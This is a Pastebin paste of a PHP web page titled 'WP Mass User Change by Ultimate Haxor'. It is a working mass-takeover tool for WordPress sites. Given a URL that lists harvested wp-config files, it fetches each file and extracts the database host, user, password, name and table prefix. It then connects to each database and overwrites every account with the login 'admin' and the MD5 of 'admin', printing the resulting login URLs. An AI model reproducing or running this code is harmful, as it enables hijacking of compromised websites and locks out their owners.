Advertisement
Guest User

wp-mass user pass changer

a guest
Jan 8th, 2018
1,484
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.11 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>WP Mass by Ultimate Haxor</title>
  4.  
  5. </head>
  6.  
  7. <style type="text/css">
  8. @import 'https://fonts.googleapis.com/css?family=Iceland';
  9. html,body{
  10. background: black;
  11. padding: 0;
  12. direction: ltr;
  13. margin: 0;
  14. }
  15. h1{
  16. color:#16a085;
  17. text-shadow:0 0 5px;
  18. font-family: Iceland;
  19. }
  20. #gter{
  21. position: absolute;
  22. top: 0;
  23. width: 100%;
  24. text-align: center;
  25. background: black;
  26. color:#fff;
  27. padding-top: 10px;
  28. padding-bottom: 10px;
  29. font-family: Iceland;
  30. margin-bottom:20px;
  31. }
  32. #gter span{
  33. color:white;
  34. font-size: 18px;
  35. text-shadow: :0px 0px 15px #00ffff;
  36. }
  37. .f{
  38. color:white;
  39. font-family: Iceland;
  40. text-shadow: 0 0 15px #00ffff;
  41. font-size: 21px;
  42. }
  43. a{
  44. font-family: Iceland;
  45. text-decoration: none;
  46. color:white;
  47. text-shadow:0 0 15px #00ff00;
  48. }
  49. form{
  50. margin-top: 120px;
  51. }
  52. input[type=submit]{
  53. font-size:20px;
  54. height: 30px;
  55. width: 165px;
  56. border: 2px solid red;
  57. color: yellow;
  58. background-color: black;
  59. font-family: Iceland;
  60. }
  61. input[type=submit]:hover{
  62. box-shadow: 0 0 2px #ff0000;
  63. }
  64. input[type=text]{
  65. font-family:Iceland;
  66. width: 450px;
  67. height: 30px;
  68. color: red;
  69. background: #000000;
  70. border: 1px solid #00ff00;
  71. padding: 5px;
  72. text-align: center;
  73. font-size:20px;
  74. }
  75. input[type=text]:focus{
  76. box-shadow: 0 0 3px #ff0000;
  77. }
  78. .heading{
  79. color:white;
  80. font-size:50px;
  81. margin-top: 60px;
  82. margin-bottom: -110px;
  83. font-family:Iceland;
  84. text-shadow:0px 0px 20px red;
  85. }
  86. </style>
  87.  
  88.  
  89.  
  90.  
  91. </head>
  92. <body>
  93. <center>
  94. <center><p class="heading">WP Mass User Change by Ultimate Haxor</p></center>
  95. <br /><br />
  96. <form method="post">
  97. <input type="text" name="config" placeholder="Config URL Here">
  98. <br><br>
  99. <input type="submit" name="ch" value="Change Admin">
  100. </form>
  101. </center>
  102. <?php
  103. set_time_limit(0);
  104. error_reporting(0);
  105. if($_POST['ch']){ $get2 = file_get_contents($_POST['config']);
  106. preg_match_all('#<a href="(.*?)"#', $get2, $config);
  107. foreach($config[1] as $don){ $get = file_get_contents($_POST['config']."/".$don);
  108. preg_match_all("#'DB_HOST', '(.*?)'#", $get, $host);
  109. foreach($host[1] as $don){ $host = $don; }
  110. preg_match_all("#'DB_PASSWORD', '(.*?)'#", $get, $pass); foreach($pass[1] as $done){ $password = $done; } preg_match_all("#'DB_USER', '(.*?)'#", $get, $user);
  111. foreach($user[1] as $done1){ $user = $done1;
  112. } preg_match_all("#'DB_NAME', '(.*?)'#", $get, $name); foreach($name[1] as $done2){ $name = $done2;
  113. } preg_match_all("#$table_prefix = '(.*?)'#", $get, $prefix); foreach($prefix[1] as $done3){ $prefix = $done3;
  114. } $connect = mysqli_connect($host,$user,$password,$name);
  115. if($connect){ $query1 = mysqli_query($connect,"select * from ".$prefix."options where option_name='siteurl'");
  116. while($siteurl = mysqli_fetch_array($query1)){ $site_url = $siteurl['option_value'];
  117. } $query2 = mysqli_query($connect,"update ".$prefix."users set user_login='admin',user_pass='21232f297a57a5a743894a0e4a801fc3'");
  118. if($query2){
  119. echo "<center><span class=f>URL : <a href='$site_url/wp-login.php' target='_blank'>$site_url/wp-login.php</a><br><br>UserName : admin<br><br>Password : admin<br><br></span></center>"; } } } }
  120. ?>
  121. </body>
  122. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement